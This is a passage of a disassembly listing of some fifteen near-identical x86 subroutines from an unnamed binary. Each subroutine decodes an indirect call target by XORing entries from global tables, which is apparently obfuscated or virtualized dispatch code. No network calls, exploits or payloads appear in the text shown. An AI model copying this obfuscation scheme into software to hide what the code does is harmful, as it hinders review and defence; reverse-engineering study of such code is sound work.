ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AD446 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AD543 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDAC8o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 11h mov [ebp+var_2C], 46h mov [ebp+var_28], 0CCh mov [ebp+var_24], 0A2h mov [ebp+var_20], 0C4h mov [ebp+var_1C], 1Eh mov [ebp+var_18], 23h mov [ebp+var_14], 7Ah mov [ebp+var_10], 0Eh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Eh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AD5D4 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AD5D4: ; CODE XREF: sub_4AD543+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AD543 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AD640 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDACCo var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 3Bh mov [ebp+var_2C], 24h mov [ebp+var_28], 59h mov [ebp+var_24], 11h mov [ebp+var_20], 9Dh mov [ebp+var_1C], 4Dh mov [ebp+var_18], 62h mov [ebp+var_14], 0E5h mov [ebp+var_10], 0Dh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Dh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AD6D1 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AD6D1: ; CODE XREF: sub_4AD640+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AD640 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AD73D proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDAD0o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 7Ch mov [ebp+var_2C], 0D3h mov [ebp+var_28], 7Ah mov [ebp+var_24], 0C7h mov [ebp+var_20], 25h mov [ebp+var_1C], 68h mov [ebp+var_18], 74h mov [ebp+var_14], 0ABh mov [ebp+var_10], 1 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 1 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AD7CD mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AD7CD: ; CODE XREF: sub_4AD73D+7Dj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AD73D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AD839 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDAD4o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 92h mov [ebp+var_2C], 0F8h mov [ebp+var_28], 36h mov [ebp+var_24], 84h mov [ebp+var_20], 60h mov [ebp+var_1C], 0EBh mov [ebp+var_18], 0F5h mov [ebp+var_14], 16h mov [ebp+var_10], 0Fh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Fh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AD8CA mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AD8CA: ; CODE XREF: sub_4AD839+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AD839 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AD936 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDAD8o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 72h mov [ebp+var_2C], 54h mov [ebp+var_28], 23h mov [ebp+var_24], 48h mov [ebp+var_20], 26h mov [ebp+var_1C], 0DEh mov [ebp+var_18], 0CAh mov [ebp+var_14], 97h mov [ebp+var_10], 6 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 6 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AD9C7 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AD9C7: ; CODE XREF: sub_4AD936+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AD936 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4ADA33 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDADCo var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 8Bh mov [ebp+var_2C], 0CEh mov [ebp+var_28], 14h mov [ebp+var_24], 47h mov [ebp+var_20], 95h mov [ebp+var_1C], 0A1h mov [ebp+var_18], 42h mov [ebp+var_14], 0D0h mov [ebp+var_10], 0Dh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Dh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4ADAC4 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4ADAC4: ; CODE XREF: sub_4ADA33+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4ADA33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4ADB30 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDAE0o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 97h mov [ebp+var_2C], 0F7h mov [ebp+var_28], 6Ch mov [ebp+var_24], 0A9h mov [ebp+var_20], 0Bh mov [ebp+var_1C], 4Ch mov [ebp+var_18], 2Ch mov [ebp+var_14], 0D4h mov [ebp+var_10], 0Bh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Bh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4ADBC1 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4ADBC1: ; CODE XREF: sub_4ADB30+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4ADB30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4ADC2D proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDAE4o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 54h mov [ebp+var_2C], 23h mov [ebp+var_28], 4Fh mov [ebp+var_24], 3 mov [ebp+var_20], 7 mov [ebp+var_1C], 65h mov [ebp+var_18], 36h mov [ebp+var_14], 6Ch mov [ebp+var_10], 0Ch mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Ch and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4ADCBE mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4ADCBE: ; CODE XREF: sub_4ADC2D+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4ADC2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4ADD2A proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDAE8o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 51h mov [ebp+var_2C], 5Bh mov [ebp+var_28], 3Dh mov [ebp+var_24], 54h mov [ebp+var_20], 3Eh mov [ebp+var_1C], 6Ch mov [ebp+var_18], 3Fh mov [ebp+var_14], 38h mov [ebp+var_10], 15h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 15h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4ADDBB mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4ADDBB: ; CODE XREF: sub_4ADD2A+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4ADD2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4ADE27 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDAECo var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0BFh mov [ebp+var_2C], 3Eh mov [ebp+var_28], 0D4h mov [ebp+var_24], 0Ah mov [ebp+var_20], 0C0h mov [ebp+var_1C], 5Dh mov [ebp+var_18], 0A0h mov [ebp+var_14], 11h mov [ebp+var_10], 0Fh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Fh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4ADEB8 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4ADEB8: ; CODE XREF: sub_4ADE27+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4ADE27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4ADF24 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDAF0o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 59h mov [ebp+var_2C], 4Dh mov [ebp+var_28], 0E9h mov [ebp+var_24], 0ACh mov [ebp+var_20], 6 mov [ebp+var_1C], 84h mov [ebp+var_18], 4 mov [ebp+var_14], 0C2h mov [ebp+var_10], 5 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 5 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4ADFB5 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4ADFB5: ; CODE XREF: sub_4ADF24+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4ADF24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AE021 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDAF4o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0A9h mov [ebp+var_2C], 75h mov [ebp+var_28], 0C0h mov [ebp+var_24], 64h mov [ebp+var_20], 6Bh mov [ebp+var_1C], 0A6h mov [ebp+var_18], 16h mov [ebp+var_14], 0BEh mov [ebp+var_10], 9 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 9 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AE0B2 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AE0B2: ; CODE XREF: sub_4AE021+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AE021 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AE11E proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDAF8o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 76h mov [ebp+var_2C], 78h mov [ebp+var_28], 0B6h mov [ebp+var_24], 92h mov [ebp+var_20], 67h mov [ebp+var_1C], 0Ch mov [ebp+var_18], 23h mov [ebp+var_14], 93h mov [ebp+var_10], 10h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 10h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx 